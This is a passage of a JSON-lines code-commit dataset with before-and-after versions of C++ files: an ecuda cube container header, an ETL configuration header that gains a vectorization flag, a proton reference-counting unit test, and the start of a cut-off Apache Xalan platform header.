return get_row(rowIndex); }\n\tHOST DEVICE inline const_matrix_type operator[]( const size_type rowIndex ) const { return get_row(rowIndex); }\n\n\t\/\/xy_type get_xy( const RowIndexType x, const ColumnIndexType y ) { return contents[x].get_row(y); }\n\t\/\/xz_type get_xz( const RowIndexType x, const DepthIndexType z ) { return contents[x].get_column(z); }\n\t\/\/yz_type get_yz( const ColumnIndexType y, const DepthIndexType z ) {\treturn OffsettingContainer< cube<CellType,RowIndexType,ColumnIndexType,DepthIndexType> >( *this, row_size(), y*depth_size()+z, column_size()*depth_size() ); }\n\t\/\/const_xy_type get_xy( const RowIndexType x, const ColumnIndexType y ) const { return contents[x].get_row(y); }\n\t\/\/const_xz_type get_xz( const RowIndexType x, const DepthIndexType z ) const { return contents[x].get_column(z); }\n\t\/\/const_yz_type get_yz( const ColumnIndexType y, const DepthIndexType z ) const { return OffsettingContainer< const cube<CellType,RowIndexType,ColumnIndexType,DepthIndexType> >( *this, row_size(), y*depth_size()+z, column_size()*depth_size() ); }\n\n\ttemplate<typename U,typename V,typename W>\n\tHOST cube<T>& operator>>( estd::cube<T,U,V,W>& dest ) {\n\t\t\/\/TODO: this needs to be re-implemented, it won't work as currently written\n\t\tdest.resize( static_cast<U>(numberRows), static_cast<V>(numberColumns), static_cast<W>(numberDepths) );\n\t\tfor( size_type i = 0; i < numberRows; ++i ) operator[](i) >> dest[i];\n\t\treturn *this;\n\t}\n\n};\n\n} \/\/ namespace ecuda\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\nnamespace etl {\n\n#ifdef ETL_VECTORIZE_FULL\n\n\/\/VECTORIZE_FULL enables VECTORIZE_EXPR\n#ifndef ETL_VECTORIZE_EXPR\n#define ETL_VECTORIZE_EXPR\n#endif\n\n\/\/VECTORIZE_FULL enables VECTORIZE_IMPL\n#ifndef ETL_VECTORIZE_IMPL\n#define ETL_VECTORIZE_IMPL\n#endif\n\n#endif \/\/ETL_VECTORIZE_FULL\n\n\/\/Flag to enable auto-vectorization of expressions\n#ifdef ETL_VECTORIZE_EXPR\nconstexpr bool vectorize_expr = true;\n#else\nconstexpr bool vectorize_expr   = false;                               \/\/\/< Boolean flag indicating if the expression are automatically vectorized\n#endif\n\n\/\/Flag to enable vectorized implementation of algorithms\n#ifdef ETL_VECTORIZE_IMPL\nconstexpr bool vectorize_impl = true;\n#else\nconstexpr bool vectorize_impl   = false;                               \/\/\/< Boolean flag indicating if the implementations are automatically vectorized\n#endif\n\n\/\/Flag to allow conv_valid_multi to use FFT\n#ifdef ETL_CONV_VALID_FFT\nconstexpr bool conv_valid_fft = true;\n#else\nconstexpr bool conv_valid_fft   = false;                               \/\/\/< Boolean flag indicating if temporaries are created\n#endif\n\n\/\/Select the number of threads\n#ifdef ETL_PARALLEL_THREADS\nconstexpr std::size_t threads = ETL_PARALLEL_THREADS;\n#else\nconst std::size_t threads             = std::thread::hardware_concurrency(); \/\/\/< Number of threads\n#endif\n\n\/\/Indicate that ETL should run in parallel\n#ifdef ETL_PARALLEL\nconstexpr bool is_parallel = true;\n#else\nconstexpr bool is_parallel = false;                               \/\/\/< Boolean flag indicating if expressions and implementations are parallelized (alpha)\n#endif\n\n#ifdef ETL_MKL_MODE\n\n\/\/MKL mode enables BLAS mode\n#ifndef ETL_BLAS_MODE\n#define ETL_BLAS_MODE\n#endif\n\nconstexpr bool is_mkl_enabled = true;\nconstexpr bool has_fast_fft   = true;\n\n#else\n\nconstexpr bool is_mkl_enabled              = false; \/\/\/< Boolean flag indicating if MKL is enabled\nconstexpr bool has_fast_fft                = false; \/\/\/< Boolean flag indicating if a fast FFT implementation is available\n\n#endif\n\n\/\/Flag to enable the use of CBLAS library\n#ifdef ETL_BLAS_MODE\nconstexpr bool is_cblas_enabled = true;\n#else\nconstexpr bool is_cblas_enabled            = false; \/\/\/< Boolean flag indicating if CBLAS is available\n#endif\n\n\/\/Flag to indicate that blas is multithreaded\n#ifdef ETL_BLAS_THREADS\nconstexpr bool is_blas_parallel = true;\n#else\nconstexpr bool is_blas_parallel            = false; \/\/\/< Boolean flag indicating if CBLAS is running parallel\n#endif\n\n#ifdef ETL_CUDA\nstatic_assert(false, \"ETL_CUDA should never be set directly\");\n#endif\n\n#ifdef ETL_CUBLAS_MODE\nconstexpr bool is_cublas_enabled = true;\n#define ETL_CUDA\n#else\nconstexpr bool is_cublas_enabled           = false; \/\/\/< Boolean flag indicating if CUBLAS is available\n#endif\n\n#ifdef ETL_CUFFT_MODE\n#define ETL_CUDA\nconstexpr bool is_cufft_enabled = true;\n#else\nconstexpr bool is_cufft_enabled            = false; \/\/\/< Boolean flag indicating if CUFFT is available\n#endif\n\n#ifdef ETL_CUDNN_MODE\nconstexpr bool is_cudnn_enabled = true;\n#define ETL_CUDA\n#else\nconstexpr bool is_cudnn_enabled            = false; \/\/\/< Boolean flag indicating if CUDNN is available\n#endif\n\n\/\/Flag to perform elementwise multiplication by default (operator*)\n\/\/instead of matrix(vector) multiplication\n#ifdef ETL_ELEMENT_WISE_MULTIPLICATION\nconstexpr bool is_element_wise_mul_default = true;\n#else\nconstexpr bool is_element_wise_mul_default = false; \/\/\/< Boolean flag indicating if multiplication of two expression means matrix multiplication (false) or element-wise multiplication (true)\n#endif\n\n\/\/Flag to prevent division to be done by multiplication\n#ifdef ETL_STRICT_DIV\nconstexpr bool is_div_strict = true;\n#else\nconstexpr bool is_div_strict               = false; \/\/\/< Boolean flag indicating if division can be done by multiplication (false) or not (true)\n#endif\n\n\/\/ Flag to disable streaming operations\n#ifdef ETL_NO_STREAMING\nconstexpr bool streaming = false;\n#else\nconstexpr bool streaming = true;\n#endif\n\n\/\/ Flag to disable padding operations\n#ifdef ETL_NO_PADDING\nconstexpr bool padding = false;\n#else\nconstexpr bool padding = true;\n#endif\n\n\/\/ Flag to disable padding implementations\n#ifdef ETL_NO_PADDING_IMPL\nconstexpr bool padding_impl = false;\n#else\nconstexpr bool padding_impl = true;\n#endif\n\n\/\/ Flag to set the cache size\n#ifdef ETL_CACHE_SIZE\nconstexpr size_t cache_size = ETL_CACHE_SIZE;\n#else\nconstexpr size_t cache_size = 3 * 1024 * 1024;\n#endif\n\n\/\/Flag to disable unrolling of non-vectorized loops\n#ifdef ETL_NO_UNROLL_NON_VECT\nconstexpr bool unroll_normal_loops = false;\n#else\nconstexpr bool unroll_normal_loops         = true;  \/\/\/< Boolean flag indicating if normal loops are getting unrolled\n#endif\n\n\/\/Flag to configure the maximum workspace size for ETL\n#ifdef ETL_MAX_WORKSPACE\nconstexpr std::size_t max_workspace = ETL_MAX_WORKSPACE;\n#else\nconstexpr std::size_t max_workspace = 2UL * 1024 * 1024 * 1024; \/\/\/< The max workspace we allocate for ETL (2GiB by default)\n#endif\n\n\/\/Flag to configure the maximum workspace size for CUDA\n#ifdef ETL_CUDNN_MAX_WORKSPACE\nconstexpr std::size_t cudnn_max_workspace = ETL_CUDNN_MAX_WORKSPACE;\n#else\nconstexpr std::size_t cudnn_max_workspace = 2UL * 1024 * 1024 * 1024; \/\/\/< The max workspace we allocate for CUDNN (2GiB by default)\n#endif\n\n\/*!\n * \\brief Vectorization mode\n *\/\nenum class vector_mode_t {\n    NONE,  \/\/\/< No vectorization is available\n    SSE3,  \/\/\/< SSE3 is the max vectorization available\n    AVX,   \/\/\/< AVX is the max vectorization available\n    AVX512 \/\/\/< AVX-512F is the max vectorization available\n};\n\n#ifdef __AVX512F__\nconstexpr vector_mode_t vector_mode = vector_mode_t::AVX512;\n#elif defined(__AVX__)\nconstexpr vector_mode_t vector_mode        = vector_mode_t::AVX;\n#elif defined(__SSE3__)\nconstexpr vector_mode_t vector_mode = vector_mode_t::SSE3;\n#else\nconstexpr vector_mode_t vector_mode = vector_mode_t::NONE; \/\/\/< The vector mode in use\n#endif\n\n#ifdef __AVX512F__\nconstexpr bool avx512_enabled = true;\n#else\nconstexpr bool avx512_enabled              = false; \/\/\/< Indicates if AVX512F is available\n#endif\n\n#ifdef __AVX__\nconstexpr bool avx_enabled = true;\n#else\nconstexpr bool avx_enabled                 = false; \/\/\/< Indicates if AVX is available\n#endif\n\n#ifdef __SSE3__\nconstexpr bool sse3_enabled = true;\n#else\nconstexpr bool sse3_enabled                = false; \/\/\/< Indicates if sse3 is available\n#endif\n\n#ifdef __INTEL_COMPILER\nconstexpr bool intel_compiler = true;\n#else\nconstexpr bool intel_compiler              = false; \/\/\/< Indicates if the project is compiled with intel\n#endif\n\n} \/\/end of namespace etl\n<commit_msg>New variable<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\nnamespace etl {\n\n#ifdef ETL_VECTORIZE_FULL\n\n\/\/VECTORIZE_FULL enables VECTORIZE_EXPR\n#ifndef ETL_VECTORIZE_EXPR\n#define ETL_VECTORIZE_EXPR\n#endif\n\n\/\/VECTORIZE_FULL enables VECTORIZE_IMPL\n#ifndef ETL_VECTORIZE_IMPL\n#define ETL_VECTORIZE_IMPL\n#endif\n\n#endif \/\/ETL_VECTORIZE_FULL\n\n\/\/Flag to enable auto-vectorization of expressions\n#ifdef ETL_VECTORIZE_EXPR\nconstexpr bool vectorize_expr = true;\n#else\nconstexpr bool vectorize_expr   = false;                               \/\/\/< Boolean flag indicating if the expression are automatically vectorized\n#endif\n\n\/\/Flag to enable vectorized implementation of algorithms\n#ifdef ETL_VECTORIZE_IMPL\nconstexpr bool vectorize_impl = true;\n#else\nconstexpr bool vectorize_impl   = false;                               \/\/\/< Boolean flag indicating if the implementations are automatically vectorized\n#endif\n\n\/\/Flag to allow conv_valid_multi to use FFT\n#ifdef ETL_CONV_VALID_FFT\nconstexpr bool conv_valid_fft = true;\n#else\nconstexpr bool conv_valid_fft   = false;                               \/\/\/< Boolean flag indicating if temporaries are created\n#endif\n\n\/\/Select the number of threads\n#ifdef ETL_PARALLEL_THREADS\nconstexpr std::size_t threads = ETL_PARALLEL_THREADS;\n#else\nconst std::size_t threads             = std::thread::hardware_concurrency(); \/\/\/< Number of threads\n#endif\n\n\/\/Indicate that ETL should run in parallel\n#ifdef ETL_PARALLEL\nconstexpr bool is_parallel = true;\n#else\nconstexpr bool is_parallel = false;                               \/\/\/< Boolean flag indicating if expressions and implementations are parallelized (alpha)\n#endif\n\n#ifdef ETL_MKL_MODE\n\n\/\/MKL mode enables BLAS mode\n#ifndef ETL_BLAS_MODE\n#define ETL_BLAS_MODE\n#endif\n\nconstexpr bool is_mkl_enabled = true;\nconstexpr bool has_fast_fft   = true;\n\n#else\n\nconstexpr bool is_mkl_enabled              = false; \/\/\/< Boolean flag indicating if MKL is enabled\nconstexpr bool has_fast_fft                = false; \/\/\/< Boolean flag indicating if a fast FFT implementation is available\n\n#endif\n\n\/\/Flag to enable the use of CBLAS library\n#ifdef ETL_BLAS_MODE\nconstexpr bool is_cblas_enabled = true;\n#else\nconstexpr bool is_cblas_enabled            = false; \/\/\/< Boolean flag indicating if CBLAS is available\n#endif\n\n\/\/Flag to indicate that blas is multithreaded\n#ifdef ETL_BLAS_THREADS\nconstexpr bool is_blas_parallel = true;\n#else\nconstexpr bool is_blas_parallel            = false; \/\/\/< Boolean flag indicating if CBLAS is running parallel\n#endif\n\n#ifdef ETL_CUDA\nstatic_assert(false, \"ETL_CUDA should never be set directly\");\n#endif\n\n#ifdef ETL_CUBLAS_MODE\nconstexpr bool is_cublas_enabled = true;\n#define ETL_CUDA\n#else\nconstexpr bool is_cublas_enabled           = false; \/\/\/< Boolean flag indicating if CUBLAS is available\n#endif\n\n#ifdef ETL_CUFFT_MODE\n#define ETL_CUDA\nconstexpr bool is_cufft_enabled = true;\n#else\nconstexpr bool is_cufft_enabled            = false; \/\/\/< Boolean flag indicating if CUFFT is available\n#endif\n\n#ifdef ETL_CUDNN_MODE\nconstexpr bool is_cudnn_enabled = true;\n#define ETL_CUDA\n#else\nconstexpr bool is_cudnn_enabled            = false; \/\/\/< Boolean flag indicating if CUDNN is available\n#endif\n\n\/\/Flag to perform elementwise multiplication by default (operator*)\n\/\/instead of matrix(vector) multiplication\n#ifdef ETL_ELEMENT_WISE_MULTIPLICATION\nconstexpr bool is_element_wise_mul_default = true;\n#else\nconstexpr bool is_element_wise_mul_default = false; \/\/\/< Boolean flag indicating if multiplication of two expression means matrix multiplication (false) or element-wise multiplication (true)\n#endif\n\n\/\/Flag to prevent division to be done by multiplication\n#ifdef ETL_STRICT_DIV\nconstexpr bool is_div_strict = true;\n#else\nconstexpr bool is_div_strict               = false; \/\/\/< Boolean flag indicating if division can be done by multiplication (false) or not (true)\n#endif\n\n\/\/ Flag to disable streaming operations\n#ifdef ETL_NO_STREAMING\nconstexpr bool streaming = false;\n#else\nconstexpr bool streaming = true;\n#endif\n\n\/\/ Flag to disable padding operations\n#ifdef ETL_NO_PADDING\nconstexpr bool padding = false;\n#else\nconstexpr bool padding = true;\n#endif\n\n\/\/ Flag to disable padding implementations\n#ifdef ETL_NO_PADDING_IMPL\nconstexpr bool padding_impl = false;\n#else\nconstexpr bool padding_impl = true;\n#endif\n\n\/\/ Flag to set the cache size\n#ifdef ETL_CACHE_SIZE\nconstexpr size_t cache_size = ETL_CACHE_SIZE;\n#else\nconstexpr size_t cache_size = 3 * 1024 * 1024;\n#endif\n\n\/\/Flag to disable unrolling of non-vectorized loops\n#ifdef ETL_NO_UNROLL_NON_VECT\nconstexpr bool unroll_normal_loops = false;\n#else\nconstexpr bool unroll_normal_loops         = true;  \/\/\/< Boolean flag indicating if normal loops are getting unrolled\n#endif\n\n\/\/Flag to configure the maximum workspace size for ETL\n#ifdef ETL_MAX_WORKSPACE\nconstexpr std::size_t max_workspace = ETL_MAX_WORKSPACE;\n#else\nconstexpr std::size_t max_workspace = 2UL * 1024 * 1024 * 1024; \/\/\/< The max workspace we allocate for ETL (2GiB by default)\n#endif\n\n\/\/Flag to configure the maximum workspace size for CUDA\n#ifdef ETL_CUDNN_MAX_WORKSPACE\nconstexpr std::size_t cudnn_max_workspace = ETL_CUDNN_MAX_WORKSPACE;\n#else\nconstexpr std::size_t cudnn_max_workspace = 2UL * 1024 * 1024 * 1024; \/\/\/< The max workspace we allocate for CUDNN (2GiB by default)\n#endif\n\n\/*!\n * \\brief Vectorization mode\n *\/\nenum class vector_mode_t {\n    NONE,  \/\/\/< No vectorization is available\n    SSE3,  \/\/\/< SSE3 is the max vectorization available\n    AVX,   \/\/\/< AVX is the max vectorization available\n    AVX512 \/\/\/< AVX-512F is the max vectorization available\n};\n\n#ifdef __AVX512F__\nconstexpr vector_mode_t vector_mode = vector_mode_t::AVX512;\n#elif defined(__AVX__)\nconstexpr vector_mode_t vector_mode        = vector_mode_t::AVX;\n#elif defined(__SSE3__)\nconstexpr vector_mode_t vector_mode = vector_mode_t::SSE3;\n#else\nconstexpr vector_mode_t vector_mode = vector_mode_t::NONE; \/\/\/< The vector mode in use\n#endif\n\n#ifdef __AVX512F__\nconstexpr bool avx512_enabled = true;\n#else\nconstexpr bool avx512_enabled              = false; \/\/\/< Indicates if AVX512F is available\n#endif\n\n#ifdef __AVX__\nconstexpr bool avx_enabled = true;\n#else\nconstexpr bool avx_enabled                 = false; \/\/\/< Indicates if AVX is available\n#endif\n\n#ifdef __SSE3__\nconstexpr bool sse3_enabled = true;\n#else\nconstexpr bool sse3_enabled                = false; \/\/\/< Indicates if sse3 is available\n#endif\n\nconstexpr bool vec_enabled = avx512_enabled || avx_enabled || sse3_enabled; \/\/\/< Indicates if any vectorization is available\n\n#ifdef __INTEL_COMPILER\nconstexpr bool intel_compiler = true;\n#else\nconstexpr bool intel_compiler              = false; \/\/\/< Indicates if the project is compiled with intel\n#endif\n\n} \/\/end of namespace etl\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <proton\/base.hpp>\n#include <proton\/ref.hpp>\n#include <proton\/detail\/unit_test.hpp>\n#include \"pool_types.hpp\"\n\nusing namespace std;\nusing namespace proton;\n\nstruct obj_test{\n    string a;\n    int b;\n    obj_test()\n    {}\n\n    obj_test(const string& a1, int b1):a(a1),b(b1)\n    {}\n\n    virtual void output(ostream& s)const\n    {\n        s << a << \",\"<< b << std::endl;\n    }\n};\n\ntypedef ref_<obj_test> test;\n\nstruct obj_derived:obj_test{\n\n    string c;\n\n    obj_derived():obj_test()\n    {}\n\n    obj_derived(const string& a1, int b1, const string& c1):obj_test(a1,b1), c(c1)\n    {}\n\n    void output(ostream& s)const\n    {\n        s << a << \",\"<< b << \",\" << c << std::endl;\n    }\n\n    PROTON_COPY_DECL(obj_derived);\n};\n\ntypedef ref_<obj_derived> derived;\n\ntypedef ref_<obj_derived> der;\n\nstruct obj_de{\n    string a;\n    int b;\n    string c;\n    PROTON_COPY_DECL_NV(obj_de);\n};\ntypedef ref_<obj_de> de;\n\nint ref_ut()\n{\n    std::cout << \"-> ref_ut\" << std::endl;\n\n    test t(\"c\",10);\n    std::cout << t;\n\n    derived d(\"a\",1,\"daf\"), e(copy(d));\n    std::cout << d << e;\n\n    bool k1=false;\n#if 0\n    try{\n        e=t;\n    }\n    catch(err&){\n        k1=true;\n    }\n    PROTON_THROW_IF(!k1, \"no cast err detected!\");\n#endif\n\n    der f(alloc);\n    f->a=\"abc\"; f->b=2; f->c=\"def\";\n    std::cout << f->a << \", \" << f->b << \", \" << f->c << std::endl;\n\n    de g(alloc);\n    g->a=\"dkf\"; g->b=3; g->c=\"dfe\";\n    de j(g), k(copy(g));\n    std::cout << g->a << \", \" << g->b << \", \" << g->c << std::endl;\n    std::cout << j->a << \", \" << j->b << \", \" << j->c << std::endl;\n    std::cout << k->a << \", \" << k->b << \", \" << k->c << std::endl;\n\n    return 0;\n}\n\nvolatile int refc_count=0;\n\nstruct obj_refc_test{\n    int a;\n    obj_refc_test(int x):a(x)\n    {\n        refc_count++;\n    }\n\n    obj_refc_test():a(0)\n    {\n        refc_count++;\n    }\n\n    ~obj_refc_test()\n    {\n        refc_count--;\n    }\n};\n\ntypedef ref_<obj_refc_test> ref_test;\n\nint ref_test_ut()\n{\n    std::cout << \"-> ref_test_ut\" << std::endl;\n    {\n        tvector(ref_test) as;\n        for(int i=0; i<10;i++){\n            ref_test a(2);\n            as.push_back(a);\n        }\n        \/\/std::cout << refc_count << std::endl;\n        PROTON_THROW_IF(refc_count!=10, \"bad refc_count\");\n        ref_test b;\n        b=as[0];\n        as.clear();\n        \/\/std::cout << refc_count << std::endl;\n        PROTON_THROW_IF(refc_count!=1, \"bad refc_count\");\n        reset(b);\n        PROTON_THROW_IF(refc_count!=0, \"bad refc_count\");\n    }\n    \/\/std::cout << \"refc_count:\"<<refc_count << std::endl;\n    return 0;\n}\n\nint reset_ut()\n{\n    cout << \"-> reset_ut\" << endl;\n    test t(alloc);\n    PROTON_THROW_IF(is_null(t), \"err\");\n    PROTON_THROW_IF(ref_count(t)!=1, \"err\");\n    reset(t);\n    PROTON_THROW_IF(is_valid(t), \"err\");\n    PROTON_THROW_IF(ref_count(t)!=0, \"err\");\n    PROTON_THROW_IF(&t.__o()!=NULL, \"err\");\n\n    return 0;\n}\n\nint cast_ut()\n{\n    cout << \"-> cast_ut\" << endl;\n    test a, c;\n    derived b(alloc);\n    a=b;\n    c=cast<test>(b);\n    return 0;\n}\n\nint main()\n{\n    proton::debug_level=1;\n    proton::wait_on_err=0;\n    std::vector<proton::detail::unittest_t> ut=\n        {ref_ut, ref_test_ut, reset_ut, cast_ut};\n    proton::detail::unittest_run(ut);\n    return 0;\n}\n\n<commit_msg>add cast ut<commit_after>#include <iostream>\n#include <proton\/base.hpp>\n#include <proton\/ref.hpp>\n#include <proton\/detail\/unit_test.hpp>\n#include \"pool_types.hpp\"\n\nusing namespace std;\nusing namespace proton;\n\nstruct obj_test{\n    string a;\n    int b;\n    obj_test()\n    {}\n\n    obj_test(const string& a1, int b1):a(a1),b(b1)\n    {}\n\n    PROTON_COPY_DECL(obj_test);\n\n    virtual void output(ostream& s)const\n    {\n        s << a << \",\"<< b << std::endl;\n    }\n};\n\ntypedef ref_<obj_test> test;\n\nstruct obj_derived:obj_test{\n\n    string c;\n\n    obj_derived():obj_test()\n    {}\n\n    obj_derived(const string& a1, int b1, const string& c1):obj_test(a1,b1), c(c1)\n    {}\n\n    void output(ostream& s)const\n    {\n        s << a << \",\"<< b << \",\" << c << std::endl;\n    }\n\n    PROTON_COPY_DECL(obj_derived);\n};\n\ntypedef ref_<obj_derived> derived;\n\ntypedef ref_<obj_derived> der;\n\nstruct obj_de{\n    string a;\n    int b;\n    string c;\n    PROTON_COPY_DECL_NV(obj_de);\n};\ntypedef ref_<obj_de> de;\n\nint ref_ut()\n{\n    std::cout << \"-> ref_ut\" << std::endl;\n\n    test t(\"c\",10);\n    std::cout << t;\n\n    derived d(\"a\",1,\"daf\"), e(copy(d));\n    std::cout << d << e;\n\n    bool k1=false;\n    try{\n        e=cast<derived>(t);\n    }\n    catch(std::bad_cast&){\n        k1=true;\n    }\n    PROTON_THROW_IF(!k1, \"no cast err detected!\");\n\n    der f(alloc);\n    f->a=\"abc\"; f->b=2; f->c=\"def\";\n    std::cout << f->a << \", \" << f->b << \", \" << f->c << std::endl;\n\n    de g(alloc);\n    g->a=\"dkf\"; g->b=3; g->c=\"dfe\";\n    de j(g), k(copy(g));\n    std::cout << g->a << \", \" << g->b << \", \" << g->c << std::endl;\n    std::cout << j->a << \", \" << j->b << \", \" << j->c << std::endl;\n    std::cout << k->a << \", \" << k->b << \", \" << k->c << std::endl;\n\n    return 0;\n}\n\nvolatile int refc_count=0;\n\nstruct obj_refc_test{\n    int a;\n    obj_refc_test(int x):a(x)\n    {\n        refc_count++;\n    }\n\n    obj_refc_test():a(0)\n    {\n        refc_count++;\n    }\n\n    ~obj_refc_test()\n    {\n        refc_count--;\n    }\n};\n\ntypedef ref_<obj_refc_test> ref_test;\n\nint ref_test_ut()\n{\n    std::cout << \"-> ref_test_ut\" << std::endl;\n    {\n        tvector(ref_test) as;\n        for(int i=0; i<10;i++){\n            ref_test a(2);\n            as.push_back(a);\n        }\n        \/\/std::cout << refc_count << std::endl;\n        PROTON_THROW_IF(refc_count!=10, \"bad refc_count\");\n        ref_test b;\n        b=as[0];\n        as.clear();\n        \/\/std::cout << refc_count << std::endl;\n        PROTON_THROW_IF(refc_count!=1, \"bad refc_count\");\n        reset(b);\n        PROTON_THROW_IF(refc_count!=0, \"bad refc_count\");\n    }\n    \/\/std::cout << \"refc_count:\"<<refc_count << std::endl;\n    return 0;\n}\n\nint reset_ut()\n{\n    cout << \"-> reset_ut\" << endl;\n    test t(alloc);\n    PROTON_THROW_IF(is_null(t), \"err\");\n    PROTON_THROW_IF(ref_count(t)!=1, \"err\");\n    reset(t);\n    PROTON_THROW_IF(is_valid(t), \"err\");\n    PROTON_THROW_IF(ref_count(t)!=0, \"err\");\n    PROTON_THROW_IF(&t.__o()!=NULL, \"err\");\n\n    return 0;\n}\n\nint cast_ut()\n{\n    cout << \"-> cast_ut\" << endl;\n    test a, c;\n    derived b(alloc);\n    a=b;\n    c=cast<test>(b);\n    return 0;\n}\n\nint main()\n{\n    proton::debug_level=1;\n    proton::wait_on_err=0;\n    std::vector<proton::detail::unittest_t> ut=\n        {ref_ut, ref_test_ut, reset_ut, cast_ut};\n    proton::detail::unittest_run(ut);\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(VCPPDEFINITIONS_HEADER_GUARD_1357924680)\n#define VCPPDEFINITIONS_HEADER_GUARD_1357924680\n\n\n#pragma warning(disable: 4127 4251 4511 4512 4514 4702 4710 4711 4786 4097; error: 4150 4172 4238 4239 4715)\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/  A define in the build for each project is also used to control whether\n\/\/  the export keyword is from the project's viewpoint or the client's.\n\/\/  These defines provide the platform specific keywords that they need\n\/\/  to do this.\n\/\/ ---------------------------------------------------------------------------\n#define XALAN_PLATFORM_EXPORT     __declspec(dllexport)\n#define XALAN_PLATFORM_IMPORT     __declspec(dllimport)\n#define XALAN_PLATFORM_EXPORT_FUNCTION(T) T XALAN_PLATFORM_EXPORT\n#define XALAN_PLATFORM_IMPORT_FUNCTION(T) T XALAN_PLATFORM_IMPORT\n\n\n\n#define XALAN_NO_COVARIANT_RETURN_TYPE\n#define XALAN_LSTRSUPPORT\n#define XALAN_FULL_WCHAR_SUPPORT\n#define XALAN_RTTI_AVAILABLE\n#define XALAN_CANNOT_MUTATE_ANONYMOUS_OBJECT\n#define XALAN_LITLE_ENDIAN\n\n\n\n#endif\t\/\/ VCPPDEFINITIONS_HEADER_GUARD_1357924680\n<commit_msg>Enable CR\/LF for platforms that use it.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, 